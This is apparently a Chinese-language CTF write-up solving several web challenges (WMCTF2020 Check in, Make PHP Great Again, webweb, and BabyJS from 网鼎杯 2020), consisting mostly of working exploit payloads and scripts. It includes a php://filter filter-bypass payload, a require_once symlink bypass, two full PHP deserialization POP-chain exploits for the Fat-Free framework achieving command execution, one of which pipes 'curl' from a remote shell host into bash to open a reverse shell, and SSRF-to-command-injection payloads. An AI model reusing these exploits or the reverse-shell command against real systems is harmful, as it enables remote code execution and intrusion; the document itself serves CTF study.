[BUUOJ]2021第一弹

[WMCTF2020]Check in&2.0

我记得当时好像是1出了非预期所以出了2,现在BUU上的1已经修了非预期,所以1和2应该是一样的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,'<?php exit();'.$content);
}

payload

1
php://filter//convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|x<ap?ph@ vela$(P_SO[Tytksli]l;)>?/resource=tyskill.php

[WMCTF2020]Make PHP Great Again&2.0

参考:

php源码分析 require_once 绕过不能重复包含文件的限制

require_once包含较多的符号链接时路径的哈希表匹配会失效

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

[WMCTF2020]webcheckin/webweb

参考:

WMCTF 2020官方WriteUp webcheckin 从WMCTF2020 webweb学反序列化 2020 WMCTF Web Writeup

www.zip源码泄露,可知是fat-free框架,版本是3.7.2。对比源码,发现只是删除了一些析构函数的代码,并没有添加什么内容,不过这也算提示了吧。看过wp,已知是框架找POP链,就不去搞php原生类了。

方法一(一叶飘零)

先从入口函数__destruct找起,只有ws.php中CLI\Agent里面存在有内容的析构函数(其他有内容的析构函数都被清空了)

1
2
3
4
5
function __destruct() {
    if (isset($this->server->events['disconnect']) &&
        is_callable($func=$this->server->events['disconnect']))
        $func($this);
}

可以看到这里使用$this->server->events['disconnect']并判断函数是否可调用,很明显,即使$func可以任意污染,它最终还是要在Agent作用域内执行,它的参数固定为了Agent且Agent没有__toString方法也表明了这里没办法实现任意命令执行。

因此我们只能换方向——寻找魔术方法,满足现在情况下的方法有__call、__callStatic(大概。

全局搜索,果然找到__call__callStatic,且大多都含有敏感函数call_user_func_array,再寻找哪个有可控参数,最后找到DB\SQL\Mapper

1
2
3
4
5
6
7
function __call($func,$args) {
    return call_user_func_array(
        (array_key_exists($func,$this->props)?
         $this->props[$func]:
         $this->$func),$args
    );
}

$this->props$func都是可控的,因此通过修改变量就可以调用任意函数。接下来的问题就是如何触发__call,众所周知,触发__call需要调用当前类不存在的方法,但是Agent析构函数的$func($this)似乎已经限制了作用域的选择,所以即使通过传入数组绕过is_callable的判断还是无法成功触发别的作用域中的__call,最终还是要在Agent中寻找触发点,也就是符合$class->$func($args)的格式,然后找到了fetch方法:

1
2
3
4
5
6
7
function fetch() {
    // Unmask payload
    $server=$this->server;
    if (is_bool($buf=$server->read($this->socket)))
        return FALSE;
    ...
}

Mapper不存在read方法,控制server和socket就可以触发__call实现任意命令执行。

接下来就是调用fetch函数:

is_callable语法

检查的变量可以传入数组,且有效的检查变量应该包含两个元素,第一个是一个对象或者字符,第二个元素是个字符。

正常来说is_callable的判断环境是当前环境,但是这里使用的是events数组,环境限制在了其他类,所以直接进行fetch判断肯定无法通过,需要传入数组将环境还原回Agent。传入数组的载体正如文章从WMCTF2020 webweb学反序列化中所说可以替换,不过必须是框架中存在的类。至于为什么不用CLI\WS,我的理解是该类中的events数组属性已经定义为了protected,在$this->server->events['disconnect']访问时会报错Uncaught Error: Cannot access protected property CLI\WS::$events,不支持这样跨类访问。

最后就是如何加载ws.php,查看base.php关于加载文件的函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
protected function autoload($class) {
    $class=$this->fixslashes(ltrim($class,'\\'));
    /** @var callable $func */
    $func=NULL;
    if (is_array($path=$this->hive['AUTOLOAD']) &&
        isset($path[1]) && is_callable($path[1]))
        list($path,$func)=$path;
    foreach ($this->split($this->hive['PLUGINS'].';'.$path) as $auto)
        if ($func && is_file($file=$func($auto.$class).'.php') ||
            is_file($file=$auto.$class.'.php') ||
            is_file($file=$auto.strtolower($class).'.php') ||
            is_file($file=strtolower($auto.$class).'.php'))
            return require($file);
}

根据命名空间拆分成路径拼接php判断文件是否存在,所以我们需要使用CLI\WS加载ws.php文件。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
namespace DB\SQL {
	class Mapper {
		protected $props;

		function __construct($props) {
			$this->props = $props;
		}
	}
}

namespace CLI {
	class Agent {
		protected $server, $socket;

	    function __construct($server, $socket) {
	        $this->server = $server;
	        $this->socket = $socket;
    	}
	}
	class WS {
		protected $events;

		function __construct($events) {
			$this->events = $events;
		}
	}
}

namespace {
	class Session {
		public $events;

		function __construct($events) {
			$this->events = $events;
		}
	}

	$mapper = new DB\SQL\Mapper(array('read'=>'system'));
	$a = new CLI\Agent($mapper,'cat /etc/flagzaizheli');
	$t = new Session(array('disconnect'=>array($a, 'fetch')));
	$agent = new CLI\Agent($t,'');
	$load = new CLI\WS($agent);
	echo urlencode(serialize($load));
}

方法二(官方)

官方选择的__call函数触发点与上面不同,是从DB\Mongo\Mapper的insert函数触发,不过最终还是要通过DB\SQL\Mapper__call方法实现任意命令执行。

定义的DB\Mongo类还是为了提供一个可访问的events数组,改成其他以存在的类也可行

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php 
namespace CLI{ 
    class Agent 
    { 
        protected $server; 
        public function __construct($server) 
        { 
            $this->server=$server; 
        } 
    } 

    class WS { } 
} 
namespace DB{ 
    abstract class Cursor  implements \IteratorAggregate {} 
    class Mongo { 
        public $events; 
        public function __construct($events) 
        { 
            $this->events=$events; 
        } 
    } 
} 

namespace DB\Mongo{ 
    class Mapper extends \DB\Cursor { 
        protected $legacy=0; 
        protected $collection; 
        protected $document; 
        function offsetExists($offset){} 
        function offsetGet($offset){} 
        function offsetSet($offset, $value){} 
        function offsetUnset($offset){} 
        function getIterator(){}     
        public function __construct($collection,$document){ 
            $this->collection=$collection; 
            $this->document=$document; 
        } 
    } 
} 
namespace DB\SQL{ 
    class Mapper extends \DB\Cursor{ 
        protected $props=["insertone"=>"system"]; 
        function offsetExists($offset){} 
        function offsetGet($offset){} 
        function offsetSet($offset, $value){} 
        function offsetUnset($offset){} 
        function getIterator(){} 
    } 
} 

namespace{ 
    $SQLMapper=new DB\SQL\Mapper(); 
    $MongoMapper=new DB\Mongo\Mapper($SQLMapper,"curl https://shell.now.sh/39.106.207.66:2333 |bash"); 
    $DBMongo=new DB\Mongo(array('disconnect'=>array($MongoMapper,"insert"))); 
    $Agent=new CLI\Agent($DBMongo); 
    $WS=new CLI\WS(); 
    echo urlencode(serialize(array($WS,$Agent)));
} 

[网鼎杯 2020 半决赛]BabyJS

参考:

https://www.cnblogs.com/W4nder/p/14078695.html

没用的代码分析了半天,一直在找/login的入口,绝了。。。

关键代码就index.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
...
router.get('/debug', function(req, res, next) {
    console.log(req.ip);
    if(blacklist.indexOf(req.ip)!=-1){
        console.log('res');
	var u=req.query.url.replace(/[\"\']/ig,'');
	console.log(url.parse(u).href);
	let log=`echo  '${url.parse(u).href}'>>/tmp/log`;
	console.log(log);
	child_process.exec(log);
	res.json({data:fs.readFileSync('/tmp/log').toString()});
    }else{
        res.json({});
    }
});

router.post('/debug', function(req, res, next) {
    console.log(req.body);
    if(req.body.url !== undefined) {
        var u = req.body.url;
	var urlObject=url.parse(u);
	if(blacklist.indexOf(urlObject.hostname) == -1){
		var dest=urlObject.href;
		request(dest,(err,result,body)=>{
			res.json(body);
		})
	}
	else{
		res.json([]);
	}
	}
});

一看到黑名单内容就想到SSRF,但是这缩进就nm离谱,还以为黑名单卵用没有。。。不知道算不算出题人的恶趣味,继续往下做,log存在命令注入,但是需要本地访问才能命令执行,所以要通过POST SSRF。

payload

1
2
3
4
// 二次编码
{"url":"http://127.1:3000/debug?url=http://%2527;cp$IFS/flag$IFS/tmp/log%00"}
// 特殊编码 => %EF%BC%87解码为'
{"url":"http://127.1:3000/debug?url=http://%EF%BC%87;cp$IFS/flag$IFS/tmp/log%00"}